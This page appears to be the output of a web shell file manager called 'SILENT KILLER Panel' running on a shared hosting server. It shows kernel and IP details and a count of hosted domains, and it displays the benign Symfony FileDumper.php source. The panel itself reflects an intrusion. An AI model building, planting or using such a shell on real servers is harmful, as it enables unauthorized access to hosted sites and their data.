SILENT KILLERPanel

Current Path: > > opt > cloudlinux > alt-php54 > root > usr > share > pear > Symfony > Component > Translation > Dumper


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/cloudlinux/alt-php54/root/usr/share/pear/Symfony/Component/Translation/Dumper

NameTypeSizeLast ModifiedActions
CsvFileDumper.php File 1485 bytes December 18 2019 11:22:58.
DumperInterface.php File 810 bytes December 18 2019 11:22:58.
FileDumper.php File 1883 bytes December 18 2019 11:22:58.
IcuResFileDumper.php File 3729 bytes December 18 2019 11:22:58.
IniFileDumper.php File 984 bytes December 18 2019 11:22:58.
JsonFileDumper.php File 893 bytes December 18 2019 11:22:58.
MoFileDumper.php File 2369 bytes December 18 2019 11:22:58.
PhpFileDumper.php File 844 bytes December 18 2019 11:22:58.
PoFileDumper.php File 1538 bytes December 18 2019 11:22:58.
QtFileDumper.php File 1351 bytes December 18 2019 11:22:58.
XliffFileDumper.php File 1976 bytes December 18 2019 11:22:58.
YamlFileDumper.php File 822 bytes December 18 2019 11:22:58.

Reading File: //opt/cloudlinux/alt-php54/root/usr/share/pear/Symfony/Component/Translation/Dumper/FileDumper.php

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Dumper;

use Symfony\Component\Translation\MessageCatalogue;

/**
 * FileDumper is an implementation of DumperInterface that dump a message catalogue to file(s).
 * Performs backup of already existing files.
 *
 * Options:
 * - path (mandatory): the directory where the files should be saved
 *
 * @author Michel Salib <michelsalib@hotmail.com>
 */
abstract class FileDumper implements DumperInterface
{
    /**
     * {@inheritDoc}
     */
    public function dump(MessageCatalogue $messages, $options = array())
    {
        if (!array_key_exists('path', $options)) {
            throw new \InvalidArgumentException('The file dumper needs a path option.');
        }

        // save a file for each domain
        foreach ($messages->getDomains() as $domain) {
            $file = $domain.'.'.$messages->getLocale().'.'.$this->getExtension();
            // backup
            $fullpath = $options['path'].'/'.$file;
            if (file_exists($fullpath)) {
                copy($fullpath, $fullpath.'~');
            }
            // save file
            file_put_contents($fullpath, $this->format($messages, $domain));
        }
    }

    /**
     * Transforms a domain of a message catalogue to its string representation.
     *
     * @param MessageCatalogue $messages
     * @param string           $domain
     *
     * @return string representation
     */
    abstract protected function format(MessageCatalogue $messages, $domain);

    /**
     * Gets the file extension of the dumper.
     *
     * @return string file extension
     */
    abstract protected function getExtension();
}

SILENT KILLER Tool